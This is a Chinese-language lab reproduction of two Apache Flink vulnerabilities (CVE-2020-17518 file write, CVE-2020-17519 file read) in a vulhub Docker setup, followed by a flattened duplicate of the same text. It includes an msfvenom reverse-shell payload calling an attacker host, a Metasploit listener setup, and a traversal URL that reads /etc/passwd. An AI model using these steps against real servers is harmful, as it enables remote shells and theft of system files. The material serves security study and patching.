Apache Flink漏洞复现
字数 1124 2025-08-15 21:33:26

Apache Flink漏洞复现与分析

概述

Apache Flink是一个高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架。其核心是用Java和Scala编写的分布式流数据流引擎,类似于Spark。Flink具有监控API,可用于查询"正在运行的jobs"和"最近完成的jobs"的状态和统计信息。

漏洞详情

CVE-2020-17518 (任意文件写入漏洞)

  • 影响版本: Apache Flink 1.5.1 - 1.11.2
  • 漏洞描述: 攻击者利用REST API可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的)
  • 漏洞原理: Flink 1.5.1引入的REST处理程序允许通过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置

CVE-2020-17519 (任意文件读取漏洞)

  • 影响版本: Apache Flink 1.11.0, 1.11.1, 1.11.2
  • 漏洞描述: 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的)

环境搭建

使用vulhub的环境进行复现:

  1. 创建docker-compose.yml文件:
version: '2'
services:
  flink:
    image: vulhub/flink:1.11.2
    command: jobmanager
    ports:
      - "8081:8081"
      - "6123:6123"
  1. 启动环境:
docker-compose up -d
  1. 访问http://ip:8081

漏洞复现

CVE-2020-17518 (任意文件写入)

  1. 访问http://ip:8081,找到"Submit New Job"的"Add New"
  2. 上传一个jar包(可以新建一个zip文件并修改后缀为.jar)
  3. 抓包修改请求,例如在/tmp目录下新建文件:
    • 使用../切换路径
  4. 验证文件是否上传成功:
docker ps # 查看容器
docker exec -it CONTAINER_ID /bin/bash # 进入容器
  1. 利用漏洞获取shell:
    • 生成jar格式的反弹shell:
    msfvenom -p java/shell_reverse_tcp lhost=KALI_IP lport=PORT -f jar > /home/a.jar
    
    • 启动msf接收shell:
    msfconsole
    use exploit/multi/handler
    set payload java/shell_reverse_tcp
    set LHOST KALI_IP
    set LPORT PORT
    exploit
    
    • 上传jar包并点击"Submit"

CVE-2020-17519 (任意文件读取)

构造URL读取文件,例如读取/etc/passwd:

http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

注:%252f/的两次URL编码

漏洞修复

官方已发布安全版本,建议及时升级至最新版本:
https://flink.apache.org/zh/downloads.html

参考链接

  1. https://github.com/vulhub/vulhub/tree/master/flink
  2. https://www.anquanke.com/post/id/227668

免责声明

  1. 本文技术信息仅供参考,不构成专业建议
  2. 使用前请充分测试和评估
  3. 技术发展迅速,内容可能存在滞后性
  4. 使用技术需遵守《中华人民共和国网络安全法》
Apache Flink漏洞复现与分析 概述 Apache Flink是一个高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架。其核心是用Java和Scala编写的分布式流数据流引擎,类似于Spark。Flink具有监控API,可用于查询"正在运行的jobs"和"最近完成的jobs"的状态和统计信息。 漏洞详情 CVE-2020-17518 (任意文件写入漏洞) 影响版本 : Apache Flink 1.5.1 - 1.11.2 漏洞描述 : 攻击者利用REST API可以修改HTTP头,将上传的文件写入到本地文件系统上的任意位置(Flink 1.5.1进程能访问到的) 漏洞原理 : Flink 1.5.1引入的REST处理程序允许通过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置 CVE-2020-17519 (任意文件读取漏洞) 影响版本 : Apache Flink 1.11.0, 1.11.1, 1.11.2 漏洞描述 : 允许攻击者通过JobManager进程的REST API读取JobManager本地文件系统上的任何文件(JobManager进程能访问到的) 环境搭建 使用vulhub的环境进行复现: 创建docker-compose.yml文件: 启动环境: 访问 http://ip:8081 漏洞复现 CVE-2020-17518 (任意文件写入) 访问 http://ip:8081 ,找到"Submit New Job"的"Add New" 上传一个jar包(可以新建一个zip文件并修改后缀为.jar) 抓包修改请求,例如在/tmp目录下新建文件: 使用 ../ 切换路径 验证文件是否上传成功: 利用漏洞获取shell: 生成jar格式的反弹shell: 启动msf接收shell: 上传jar包并点击"Submit" CVE-2020-17519 (任意文件读取) 构造URL读取文件,例如读取/etc/passwd: 注: %252f 为 / 的两次URL编码 漏洞修复 官方已发布安全版本,建议及时升级至最新版本: https://flink.apache.org/zh/downloads.html 参考链接 https://github.com/vulhub/vulhub/tree/master/flink https://www.anquanke.com/post/id/227668 免责声明 本文技术信息仅供参考,不构成专业建议 使用前请充分测试和评估 技术发展迅速,内容可能存在滞后性 使用技术需遵守《中华人民共和国网络安全法》